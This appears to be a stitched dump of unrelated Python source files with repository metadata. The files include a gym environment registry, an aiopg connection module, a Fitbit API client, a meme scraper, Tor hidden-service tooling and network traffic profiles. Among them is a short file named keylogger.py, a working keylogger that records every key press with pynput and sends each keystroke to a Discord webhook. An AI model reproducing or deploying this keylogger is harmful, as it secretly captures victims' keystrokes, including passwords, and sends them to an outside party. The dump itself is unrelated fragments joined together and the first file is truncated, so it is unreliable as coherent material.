"""Vectorized Gym Environments.""" from gym.envs.registration import register from .acrobot import DiscreteVectorizedAcrobotEnv, VectorizedAcrobotEnv from .cartpole import DiscreteVectorizedCartPoleEnv, VectorizedCartPoleEnv from .pendulum import VectorizedPendulumEnv register( id="VContinuous-CartPole-v0", e...
27.96875
86
0.798883
0
0
0
0
0
0
0
0
459
0.512849
ca23c15eb49a53f2c25651087356dbdbc52fa963
820
py
Python
halo_app/infra/event_publisher.py
halo-framework/halo-app
98e057b2f433d97d903589ac75a6c2544174bac8
[ "MIT" ]
null
null
null
halo_app/infra/event_publisher.py
halo-framework/halo-app
98e057b2f433d97d903589ac75a6c2544174bac8
[ "MIT" ]
null
null
null
halo_app/infra/event_publisher.py
halo-framework/halo-app
98e057b2f433d97d903589ac75a6c2544174bac8
[ "MIT" ]
null
null
null
import json import logging from dataclasses import asdict import abc from halo_app.app.command import AbsHaloCommand from halo_app.classes import AbsBaseClass from halo_app.app.event import AbsHaloEvent from halo_app.settingsx import settingsx logger = logging.getLogger(__name__) settings = settingsx() class AbsPub...
29.285714
74
0.746341
511
0.623171
0
0
73
0.089024
0
0
68
0.082927
ca26de3069527458469525481c191fce42234a13
454
py
Python
Lista07/ex009.py
Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110
f306c8dc6385ee8c9580e687afa16a49ace68f95
[ "MIT" ]
2
2021-09-05T22:29:33.000Z
2021-09-09T00:13:16.000Z
Lista07/ex009.py
Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110
f306c8dc6385ee8c9580e687afa16a49ace68f95
[ "MIT" ]
null
null
null
Lista07/ex009.py
Guilherme-Schwann/Listas-de-Exercicios-UFV-CCF-110
f306c8dc6385ee8c9580e687afa16a49ace68f95
[ "MIT" ]
null
null
null
v = [int(input()) for x in range(121)] menor, maior = v[0], v[0] soma = 0 for i in range(121): soma += v[i] media = soma / 121 diasmen = 0 for i in range(121): if v[i] < menor: menor = v[i] elif v[i] > maior: maior = v[i] if v[i] < media: diasmen += 1 print(f'Menor temp.: {menor}...
25.222222
67
0.57489
0
0
0
0
0
0
0
0
140
0.307018
ca28cbc4e85934d115ae46089616dac574b16cc1
1,790
py
Python
observations/r/earns.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
199
2017-07-24T01:34:27.000Z
2022-01-29T00:50:55.000Z
observations/r/earns.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
46
2017-09-05T19:27:20.000Z
2019-01-07T09:47:26.000Z
observations/r/earns.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
45
2017-07-26T00:10:44.000Z
2022-03-16T20:44:59.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import csv import numpy as np import os import sys from observations.util import maybe_download_and_extract def earns(path): """earns Data loads lazily. Type data(earns) into the...
22.948718
77
0.668715
0
0
0
0
0
0
0
0
1,092
0.610056
ca2994cdce6a918a52358bb0350464c0936acaaf
3,979
py
Python
applications/common/helper.py
wangyuan02605/webcloud
e57a2713125b751ee8bb8da29b789e2044e789aa
[ "MIT" ]
null
null
null
applications/common/helper.py
wangyuan02605/webcloud
e57a2713125b751ee8bb8da29b789e2044e789aa
[ "MIT" ]
null
null
null
applications/common/helper.py
wangyuan02605/webcloud
e57a2713125b751ee8bb8da29b789e2044e789aa
[ "MIT" ]
null
null
null
from sqlalchemy import and_ from applications.extensions import db class ModelFilter: """ orm多参数构造器 """ filter_field = {} filter_list = [] type_exact = "exact" type_neq = "neq" type_greater = "greater" type_less = "less" type_vague = "vague" type_contains = "contains" ...
31.330709
102
0.535059
4,184
0.983314
0
0
0
0
0
0
1,438
0.337955
ca2b0dad038c52011b184c9f22c8556a8ea95861
2,721
py
Python
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
1
2018-02-09T08:10:48.000Z
2018-02-09T08:10:48.000Z
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
null
null
null
models/data_view.py
opendatapress/open_data_press
65912da8a4bc7268849ae944cafcfafcfc767937
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # A data view # import logging from google.appengine.ext import db from models.data_source import DataSource from helpers.views import render_data, render class DataView(db.Model): # Valid file types valid_extensions = ['txt', 'csv', 'xml', 'json', ...
40.61194
104
0.61889
2,539
0.933113
0
0
207
0.076075
0
0
678
0.249173
ca2d6a32b815ca5da2787b5f7fd75e0d68415e07
1,956
py
Python
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
null
null
null
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
null
null
null
1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py
BaleBase/lala
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
[ "CNRI-Python" ]
1
2021-06-08T06:50:23.000Z
2021-06-08T06:50:23.000Z
# Part 1: Integers # ===================================== # Prints: 10 # Prints: # <class 'int'> variable_one = 10 print(variable_one) print(type(variable_one)) # Prints: 5 variable_two = 5 print(variable_two) # Prints: 15 sum_of_variables = variable_one + variable_two print(sum_of_variables) # Prints: 5 differenc...
23.285714
98
0.692229
0
0
0
0
0
0
0
0
983
0.502556
ca2e87462154619b0f1a0525ebf9520583c0d99b
7,096
py
Python
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
2
2019-11-22T18:39:49.000Z
2020-03-13T04:03:50.000Z
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
null
null
null
pybda/bda_02a_cor.py
OxfordSKA/bda
0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """Module to create corruptions.""" import numpy import os from os.path import join import time import json import pickle import shutil from numpy import array, int32 import utilities def get_time_info(ms): """.""" tb.open(ms, nomodify=True) times = numpy.unique(tb.getcol('TIME_CE...
31.537778
78
0.502678
0
0
0
0
0
0
0
0
1,955
0.275507
ca2fa87d6cf4a73a4b45887ceb3513ea71760058
1,843
py
Python
auxil/broker/tests/benchmark/broker-benchmark.py
hugolin615/zeek-4.0.0-ele420520-spring2021
258e9b2ee1f2a4bd45c6332a75304793b7d44d40
[ "Apache-2.0" ]
1
2021-03-06T19:51:07.000Z
2021-03-06T19:51:07.000Z
auxil/broker/tests/benchmark/broker-benchmark.py
hugolin615/zeek-4.0.0-ele420520-spring2021
258e9b2ee1f2a4bd45c6332a75304793b7d44d40
[ "Apache-2.0" ]
null
null
null
auxil/broker/tests/benchmark/broker-benchmark.py
hugolin615/zeek-4.0.0-ele420520-spring2021
258e9b2ee1f2a4bd45c6332a75304793b7d44d40
[ "Apache-2.0" ]
null
null
null
# ping.py import sys import time import broker event = int(sys.argv[1]) total_sent_ev1 = 0 total_recv_ev1 = 0 first_t = float(time.time()) last_t = first_t last_sent_ev1 = 0 def printStats(stats): t = stats[0] dt = stats[1] ev1 = stats[1 + event].value global total_recv_ev1 total_recv_ev1 += ...
23.329114
145
0.606077
0
0
0
0
0
0
0
0
368
0.199674
ca32bda0e8473b1b0757239f57fdc6efaa9ba516
39,222
py
Python
aiopg/connection.py
arssher/aiopg
ed69a066608ac4788b2bc8a0cdd03690f22adb3a
[ "BSD-2-Clause" ]
1,307
2015-01-06T15:52:21.000Z
2022-03-25T16:04:53.000Z
aiopg/connection.py
arssher/aiopg
ed69a066608ac4788b2bc8a0cdd03690f22adb3a
[ "BSD-2-Clause" ]
765
2015-01-11T10:17:57.000Z
2022-01-29T13:04:30.000Z
aiopg/connection.py
arssher/aiopg
ed69a066608ac4788b2bc8a0cdd03690f22adb3a
[ "BSD-2-Clause" ]
194
2015-02-20T09:29:30.000Z
2022-03-03T19:49:19.000Z
import abc import asyncio import contextlib import datetime import enum import errno import platform import select import sys import traceback import uuid import warnings import weakref from collections.abc import Mapping from types import TracebackType from typing import ( Any, Callable, Generator, Lis...
31.277512
79
0.597828
36,977
0.942762
0
0
11,446
0.291826
14,489
0.36941
11,538
0.294172
ca332f4e3962c40a19b554a8ccd714164ef6dac0
4,545
py
Python
meme_scraper/meme_scraper/spiders/memes_spider.py
wyndwarrior/DankMemes
d807e7d7e5b619eb98e7398534ea389a98fe9500
[ "MIT" ]
20
2016-11-14T19:49:55.000Z
2021-01-19T00:46:47.000Z
meme_scraper/meme_scraper/spiders/memes_spider.py
wyndwarrior/DankMemes
d807e7d7e5b619eb98e7398534ea389a98fe9500
[ "MIT" ]
3
2016-11-14T20:28:21.000Z
2018-01-08T16:44:36.000Z
meme_scraper/meme_scraper/spiders/memes_spider.py
wyndwarrior/DankMemes
d807e7d7e5b619eb98e7398534ea389a98fe9500
[ "MIT" ]
2
2017-02-03T04:15:10.000Z
2018-01-08T17:04:47.000Z
import scrapy def is_gif(url): return url[-4:] == '.gif' or url[-5:] == '.gifv' def is_image(url): return url[-4:] == '.jpg' or url[-5:] == '.jpeg' or url[-4:] == '.png' class MemesSpider(scrapy.Spider): name = "memes" def __init__(self): self.NUM_PAGES = 1 self.resolution = "500x500...
37.875
94
0.540374
4,364
0.960176
4,194
0.922772
0
0
0
0
820
0.180418
ca33e7b95795b18f73106c41b3e69597ae402a94
9,706
py
Python
src/phase/utils.py
PacificBiosciences/pbampliconclustering
cc0efd2a88a56852ffff5dd04e90cb394ff46671
[ "BSD-3-Clause-Clear" ]
5
2019-09-27T20:10:33.000Z
2020-11-15T13:03:47.000Z
src/phase/utils.py
PacificBiosciences/pbampliconclustering
cc0efd2a88a56852ffff5dd04e90cb394ff46671
[ "BSD-3-Clause-Clear" ]
2
2021-01-27T12:32:24.000Z
2021-02-02T18:02:27.000Z
src/phase/utils.py
PacificBiosciences/pbampliconclustering
cc0efd2a88a56852ffff5dd04e90cb394ff46671
[ "BSD-3-Clause-Clear" ]
3
2020-12-28T10:12:49.000Z
2020-12-28T10:13:13.000Z
import pysam import pandas as pd import mappy as mp from itertools import chain from statistics import median from collections import Counter from scipy.stats import entropy MINLEN=50 MAXLEN=50000 def summary(splitter,caller): try: minsig = splitter.minSignal minfrac = splitter._minFrac ...
33.239726
110
0.562127
6,507
0.67041
1,381
0.142283
0
0
0
0
1,857
0.191325
ca34d060f848bab1e475f4337bc0cb9c7625f083
7,472
py
Python
bioptim/optimization/optimization_variable.py
Naassila/bioptim
511e7ba315de5ca8c3bdcc85decd43bac30676b9
[ "MIT" ]
null
null
null
bioptim/optimization/optimization_variable.py
Naassila/bioptim
511e7ba315de5ca8c3bdcc85decd43bac30676b9
[ "MIT" ]
null
null
null
bioptim/optimization/optimization_variable.py
Naassila/bioptim
511e7ba315de5ca8c3bdcc85decd43bac30676b9
[ "MIT" ]
null
null
null
from typing import Union import numpy as np from casadi import MX, SX, vertcat, horzcat from ..misc.mapping import BiMapping class OptimizationVariable: """ An optimization variable and the indices to find this variable in its state or control vector Attributes ---------- name: str The ...
26.877698
109
0.55795
7,339
0.9822
0
0
1,465
0.196065
0
0
3,968
0.531049
ca356ce5b01f12eac1c48272cd08a7d0cde42c26
519
py
Python
AdventCode2017_Python/test.py
yomodev/AdventOfCode
79c4dd1d129a4ef78631f70564041ed2e9b499eb
[ "MIT" ]
1
2019-12-05T14:55:24.000Z
2019-12-05T14:55:24.000Z
AdventCode2017_Python/test.py
yomodev/AdventOfCode
79c4dd1d129a4ef78631f70564041ed2e9b499eb
[ "MIT" ]
null
null
null
AdventCode2017_Python/test.py
yomodev/AdventOfCode
79c4dd1d129a4ef78631f70564041ed2e9b499eb
[ "MIT" ]
null
null
null
firewall = {} with open('day13.txt') as file: for line in file.readlines(): depth, layer_range = map(int, line.strip().split(':')) firewall[depth] = layer_range delay = 0 while True: caught = False scanner = delay for position in range(max(firewall.keys())+1): if position in fir...
24.714286
80
0.55684
0
0
0
0
0
0
0
0
14
0.026975
ca35cbe7d73f49c87b559fd401594579fc515ab0
226
py
Python
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
keylogger.py
isi-82/keylogger
fd1cbc9416ea136f637d1b91991ac1f895780ed3
[ "Unlicense" ]
null
null
null
from dhooks import Webhook from pynput.keyboard import Key, Listener hook = Webhook("Webhook-URL") def on_press(key): hook.send("```\n"+str(key)+"\n```") with Listener(on_press=on_press) as listener: listener.join()
22.6
45
0.70354
0
0
0
0
0
0
0
0
27
0.119469
ca389eab535ecdfd9adf226e5f2e3a90095ea7c7
1,330
py
Python
edwiges/__init__.py
loggi/maildog
1439365b86015f10c8057d0bb32c3aa6810390b5
[ "Apache-2.0" ]
12
2017-07-22T02:29:56.000Z
2019-11-25T14:20:37.000Z
edwiges/__init__.py
loggi/maildog
1439365b86015f10c8057d0bb32c3aa6810390b5
[ "Apache-2.0" ]
3
2019-12-26T16:40:03.000Z
2022-03-21T22:16:50.000Z
edwiges/__init__.py
loggi/maildog
1439365b86015f10c8057d0bb32c3aa6810390b5
[ "Apache-2.0" ]
null
null
null
"""Main entry point """ import os import logging import logmatic from pyramid.config import Configurator, ConfigurationError REQUIRED_SETTINGS = [ 'edwiges.provider_host', 'edwiges.provider_port', ] ENV_SETTINGS = [ 'edwiges.provider_host', 'edwiges.provider_port', 'edwiges.provider_username', ...
23.333333
71
0.701504
0
0
0
0
0
0
0
0
320
0.240602
ca38c798ccfaff9e029635bf136f595aa05ba85c
1,817
py
Python
test/test_ofc.py
mbdevpl/open-fortran-parser-xml
127f4ec2ba7cd06eb010794560eb8e4b9494fdfe
[ "Apache-2.0" ]
16
2017-08-01T03:11:17.000Z
2021-03-04T13:11:43.000Z
test/test_ofc.py
mbdevpl/open-fortran-parser-xml
127f4ec2ba7cd06eb010794560eb8e4b9494fdfe
[ "Apache-2.0" ]
14
2017-08-08T12:26:47.000Z
2021-04-08T14:27:39.000Z
test/test_ofc.py
mbdevpl/open-fortran-parser-xml
127f4ec2ba7cd06eb010794560eb8e4b9494fdfe
[ "Apache-2.0" ]
9
2018-04-04T08:08:15.000Z
2022-02-01T13:23:59.000Z
"""Tests for ofc_wrapper module.""" import logging import pathlib import platform import tempfile import unittest from open_fortran_parser.ofc_wrapper import CodeForm, execute_compiler, transpile _LOG = logging.getLogger(__name__) _HERE = pathlib.Path(__file__).resolve().parent INPUT_PATHS = [_HERE.joinpath('examp...
38.659574
92
0.617501
1,391
0.765548
0
0
1,328
0.730875
0
0
132
0.072647
ca38db220ea62c309c8fb318d37fc2890b039813
662
py
Python
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
null
null
null
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
24
2021-08-16T23:21:39.000Z
2021-11-25T20:46:17.000Z
src/differential_value_iteration/environments/mm1_queue_test.py
btanner/differential_value_iteration
5b734397cd158b6783f5fb44106774ba2a28049f
[ "Apache-2.0" ]
2
2021-08-06T21:15:49.000Z
2021-08-16T04:29:52.000Z
"""Tests for mm1_queue.""" import functools import numpy as np from absl.testing import absltest from absl.testing import parameterized from differential_value_iteration.environments import mm1_queue class MM1QueueTest(parameterized.TestCase): def test_create_mdp(self): max_stored_jobs = 5 cost_fn = func...
27.583333
77
0.719033
410
0.619335
0
0
0
0
0
0
36
0.054381
ca395e36cbe0de5a7289dd4b7706b1a242253411
4,892
py
Python
topological_sort.py
Fieldhunter/Data-Structures-and-Algorithms
8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a
[ "Apache-2.0" ]
2
2019-02-24T10:01:39.000Z
2019-02-24T10:01:41.000Z
topological_sort.py
Fieldhunter/Data-Structures-and-Algorithms
8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a
[ "Apache-2.0" ]
null
null
null
topological_sort.py
Fieldhunter/Data-Structures-and-Algorithms
8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a
[ "Apache-2.0" ]
null
null
null
""" @version: python3.6 @author: Fieldhunter @contact: 1677532160yuan@gmail.com @time: 2020-05-03 """ import functools class Node(): def __init__(self,element): self.data = element self.in_degree = 0 self.out_degree = 0 class Adjacency_list(): """ Self.__node_mapping is used to record the correspondence b...
26.301075
79
0.684791
4,767
0.974448
0
0
335
0.068479
0
0
1,762
0.36018
ca3c1444dbdd47210fdc594c38dc6c7fc4b597b3
3,247
py
Python
5.3c_matrix_multiplication.py
bayu-wilson/phys218_example
f6d624d0747c42b29e9855c34a2ab1af28d97654
[ "MIT" ]
null
null
null
5.3c_matrix_multiplication.py
bayu-wilson/phys218_example
f6d624d0747c42b29e9855c34a2ab1af28d97654
[ "MIT" ]
null
null
null
5.3c_matrix_multiplication.py
bayu-wilson/phys218_example
f6d624d0747c42b29e9855c34a2ab1af28d97654
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Program to multiply 2 matrices together. (nxm)*(mxl)""" import numpy as np import timeit speed_test = True def check_shape(A,B): """Checking if it's possible to multiply these matrices together""" shape_A = np.shape(A) shape_B = np.shape(B) if shape_A[1] != shape_B[0]: raise ValueErr...
30.92381
108
0.706498
0
0
0
0
0
0
0
0
1,624
0.500154
ca3ce730517d85d71f6c4ae8b988f12d3ee052be
2,349
py
Python
examples/3-shared-resources/new2.py
sietse/simpy-fsm
a62eb6feeb238147626f20530cfc700f45136f12
[ "MIT" ]
2
2020-08-04T09:00:55.000Z
2021-11-09T22:43:39.000Z
examples/3-shared-resources/new2.py
sietse/simpy-fsm
a62eb6feeb238147626f20530cfc700f45136f12
[ "MIT" ]
8
2020-05-25T09:53:36.000Z
2020-05-25T10:10:50.000Z
examples/3-shared-resources/new2.py
sietse/simpy-fsm
a62eb6feeb238147626f20530cfc700f45136f12
[ "MIT" ]
2
2020-08-04T09:01:03.000Z
2020-12-02T20:27:58.000Z
# Behaviour is identical to simpy_3_resource.py. The difference in # implementation: Awaiting a charging station + using it is not one # state that starts with a context manager, but it is two separate # states. awaiting_battery() awaits the slot; charging() takes the slot, # charges, and releases the slot. import sim...
31.743243
74
0.631758
1,644
0.699872
1,136
0.48361
0
0
0
0
914
0.389102
ca3d4fe9e2876f20e4c3eaac920e8250524628b2
2,299
py
Python
scripts/summarize-rewards.py
jhostetler/jmcplan
489994fa60a084d4c361a6c62b22d1a5f713c117
[ "BSD-2-Clause" ]
2
2020-03-11T13:14:33.000Z
2021-07-17T22:45:15.000Z
scripts/summarize-rewards.py
jhostetler/jmcplan
489994fa60a084d4c361a6c62b22d1a5f713c117
[ "BSD-2-Clause" ]
null
null
null
scripts/summarize-rewards.py
jhostetler/jmcplan
489994fa60a084d4c361a6c62b22d1a5f713c117
[ "BSD-2-Clause" ]
null
null
null
# LICENSE # Copyright (c) 2013-2016, Jesse Hostetler (jessehostetler@gmail.com) # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyri...
42.574074
91
0.739887
0
0
0
0
0
0
0
0
1,519
0.660722
ca3d5f2a23ca8a36c8a715d7a40fab8cb03b8764
18,411
py
Python
hs_fetcher.py
JCMarques15/tor-hs-fetcher
3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d
[ "MIT" ]
4
2018-06-26T13:40:31.000Z
2021-11-16T11:31:33.000Z
hs_fetcher.py
JCMarques15/tor-hs-fetcher
3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d
[ "MIT" ]
null
null
null
hs_fetcher.py
JCMarques15/tor-hs-fetcher
3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d
[ "MIT" ]
5
2020-02-06T01:08:50.000Z
2021-05-03T17:38:59.000Z
#!/usr/bin/env python3 import subprocess import subprocess import sys import threading import sqlite3 import re import datetime from pathlib import Path import base64 import binascii class myThread (threading.Thread): def __init__(self, threadID, name, pid, db, lock): threading.Thread.__init__(self) # Init...
56.302752
463
0.689696
16,900
0.917929
0
0
0
0
0
0
8,372
0.454728
ca3ee8526ebdaf834c4fb3681de66f5cc4e83223
133
py
Python
py_rofi_bus/components/mixins/__init__.py
thecjharries/py-rofi-bus
52deb387f24639773b6a390360e857df2d82fe37
[ "0BSD" ]
null
null
null
py_rofi_bus/components/mixins/__init__.py
thecjharries/py-rofi-bus
52deb387f24639773b6a390360e857df2d82fe37
[ "0BSD" ]
null
null
null
py_rofi_bus/components/mixins/__init__.py
thecjharries/py-rofi-bus
52deb387f24639773b6a390360e857df2d82fe37
[ "0BSD" ]
null
null
null
# pylint:disable=W,C,R from .has_config import HasConfig from .has_pid import HasPid from .manages_processes import ManagesProcesses
26.6
47
0.834586
0
0
0
0
0
0
0
0
22
0.165414
ca40058a64a570aca77aabf42d24d5a31d357fe2
4,691
py
Python
data_prep/bert_data_prep/gen_bert_data.py
internetarchive/pdf_trio
682b1dcd8a07edcbfe89380a4a83477b8c71a980
[ "Apache-2.0" ]
16
2020-02-12T20:10:58.000Z
2022-03-24T05:06:44.000Z
data_prep/bert_data_prep/gen_bert_data.py
internetarchive/pdf_trio
682b1dcd8a07edcbfe89380a4a83477b8c71a980
[ "Apache-2.0" ]
1
2021-03-05T06:39:23.000Z
2021-03-05T07:23:43.000Z
data_prep/bert_data_prep/gen_bert_data.py
internetarchive/pdf_trio
682b1dcd8a07edcbfe89380a4a83477b8c71a980
[ "Apache-2.0" ]
3
2020-02-12T19:44:51.000Z
2021-01-02T19:11:14.000Z
#!/usr/bin/env python3 """ Copyright 2019 Internet Archive Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agree...
35.80916
122
0.673204
0
0
0
0
0
0
0
0
2,222
0.473673
ca41adf512489971642b9250b9391a54e0238eab
23,451
py
Python
fitbit/api.py
benhoyle/python-ihealth
32173d35d368d4adb615f8c9c61aa2c1fb22ca63
[ "Apache-2.0" ]
2
2015-03-13T22:43:33.000Z
2015-06-26T19:10:25.000Z
fitbit/api.py
benhoyle/python-ihealth
32173d35d368d4adb615f8c9c61aa2c1fb22ca63
[ "Apache-2.0" ]
null
null
null
fitbit/api.py
benhoyle/python-ihealth
32173d35d368d4adb615f8c9c61aa2c1fb22ca63
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import oauth2 as oauth import requests import urlparse import json import datetime import urllib from fitbit.exceptions import (BadResponse, DeleteError, HTTPBadRequest, HTTPUnauthorized, HTTPForbidden, HTTPServerError, HTTPConflict,...
34.38563
171
0.569102
23,032
0.982133
0
0
325
0.013859
0
0
9,660
0.411923
ca433cfdc583b5417c142f3e27cbbc19fc20126f
636
py
Python
python_first_step/sortalgoArrayOperation/sort2.py
cartellefo/projet
23c67e847b415fb47f71e830b89a227fffed109b
[ "MIT" ]
null
null
null
python_first_step/sortalgoArrayOperation/sort2.py
cartellefo/projet
23c67e847b415fb47f71e830b89a227fffed109b
[ "MIT" ]
null
null
null
python_first_step/sortalgoArrayOperation/sort2.py
cartellefo/projet
23c67e847b415fb47f71e830b89a227fffed109b
[ "MIT" ]
null
null
null
import time import numpy as np import numpy.linalg as nl import random import matplotlib.pyplot as plt def sortInt(n_max) : # summe des carre listInt=[] for i in range(1, n_max) : s = random.randint(1,10) listInt.append(s) return(listInt) intRand= sortInt(5) print(intRand) d...
16.307692
34
0.542453
0
0
0
0
0
0
0
0
17
0.02673
ca436d41c043f791ff6f753cb4ff5c619518a094
2,844
py
Python
plot_p.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
null
null
null
plot_p.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
null
null
null
plot_p.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
2
2020-07-28T08:40:06.000Z
2022-02-16T23:04:58.000Z
from PyQuantum.Tools.PlotBuilder2D import * from PyQuantum.Tools.CSV import * import numpy as np x = [] y = [] # path = 'oout' path = 'out_2' def df(x, y): f_xn = y[-1] xn = x[-1] DF = [] for i in range(len(y)-2, -1, -1): f_xn_1 = y[i] xn_1 = x[i] df = (f_xn-f_xn_1) / (xn...
18.588235
77
0.457806
0
0
0
0
0
0
0
0
1,159
0.407525
ca43eef7e1b8fecb70a831efbfc37c25411bb39d
435
py
Python
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
mainblog/migrations/0004_alter_tags_tagname.py
layersony/interBlogApi
f5422f6ba308ecd7e7cff4c4f29da68181a63fc5
[ "MIT" ]
null
null
null
# Generated by Django 3.2.9 on 2021-11-06 15:51 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mainblog', '0003_alter_tags_tagname'), ] operations = [ migrations.AlterField( model_name='tags', name='tagname', ...
22.894737
99
0.616092
342
0.786207
0
0
0
0
0
0
107
0.245977
ca4406d690ff4c796afb3625d7199843d05e7652
7,644
py
Python
omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py
know-airl/Vote-Goat-Data
d523d45107b5994b9135577db5e0269eb6d4c613
[ "MIT" ]
1
2020-06-12T16:58:19.000Z
2020-06-12T16:58:19.000Z
omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py
know-airl/Vote-Goat-Data
d523d45107b5994b9135577db5e0269eb6d4c613
[ "MIT" ]
2
2018-07-04T11:19:13.000Z
2018-07-12T11:46:16.000Z
omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py
know-airl/Vote-Goat-Data
d523d45107b5994b9135577db5e0269eb6d4c613
[ "MIT" ]
null
null
null
import omdb # For scraping omdbapi.com import ujson # For outputting to disk from time import sleep # For sleeping between scrape attempts import numpy as np # Not utilised past the failure text file function import os # For checking the existing data files import math # For rounding float up to nearest integer # mult...
47.185185
155
0.675693
0
0
0
0
0
0
0
0
4,598
0.601518
ca441024b2e763c4af65aa1f10420402eb5cf8f7
22,324
py
Python
tests/hetr_tests/test_hetr_integration.py
NervanaSystems/ngraph-python
ac032c83c7152b615a9ad129d54d350f9d6a2986
[ "Apache-2.0" ]
18
2018-03-19T04:16:49.000Z
2021-02-08T14:44:58.000Z
tests/hetr_tests/test_hetr_integration.py
rsumner31/ngraph
5e5c9bb9f24d95aee190b914dd2d44122fc3be53
[ "Apache-2.0" ]
2
2019-04-16T06:41:49.000Z
2019-05-06T14:08:13.000Z
tests/hetr_tests/test_hetr_integration.py
rsumner31/ngraph
5e5c9bb9f24d95aee190b914dd2d44122fc3be53
[ "Apache-2.0" ]
11
2018-06-16T15:59:08.000Z
2021-03-06T00:45:30.000Z
# ****************************************************************************** # Copyright 2017-2018 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apa...
35.775641
99
0.61781
2,604
0.116646
0
0
14,447
0.647151
0
0
4,253
0.190512
ca44c4b4a922ee4c322f05fad403519e416a4479
93
py
Python
core/plugin/__init__.py
Holzhaus/jasper-plugin-draft
5d3f89abf9b2799731079596978dbd0de49fbb0e
[ "JasPer-2.0", "MIT" ]
1
2015-03-11T14:19:24.000Z
2015-03-11T14:19:24.000Z
core/plugin/__init__.py
Holzhaus/jasper-plugin-draft
5d3f89abf9b2799731079596978dbd0de49fbb0e
[ "JasPer-2.0", "MIT" ]
null
null
null
core/plugin/__init__.py
Holzhaus/jasper-plugin-draft
5d3f89abf9b2799731079596978dbd0de49fbb0e
[ "JasPer-2.0", "MIT" ]
null
null
null
from . import types from .manager import PluginManager __all__ = ['PluginManager', 'types']
18.6
36
0.752688
0
0
0
0
0
0
0
0
22
0.236559
ca45b500d25fab159b618f1a88b1a991fcd45ebe
17,159
py
Python
yardstick/network_services/traffic_profile/ixia_rfc2544.py
upfront710/yardstick
2c3898f2ca061962cedbfc7435f78b59aa39b097
[ "Apache-2.0" ]
28
2017-02-07T07:46:42.000Z
2021-06-30T08:11:06.000Z
yardstick/network_services/traffic_profile/ixia_rfc2544.py
upfront710/yardstick
2c3898f2ca061962cedbfc7435f78b59aa39b097
[ "Apache-2.0" ]
6
2018-01-18T08:00:54.000Z
2019-04-11T04:51:41.000Z
yardstick/network_services/traffic_profile/ixia_rfc2544.py
upfront710/yardstick
2c3898f2ca061962cedbfc7435f78b59aa39b097
[ "Apache-2.0" ]
46
2016-12-13T10:05:47.000Z
2021-02-18T07:33:06.000Z
# Copyright (c) 2016-2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed...
40.279343
83
0.594615
16,308
0.950405
1,500
0.087418
0
0
0
0
2,630
0.153272
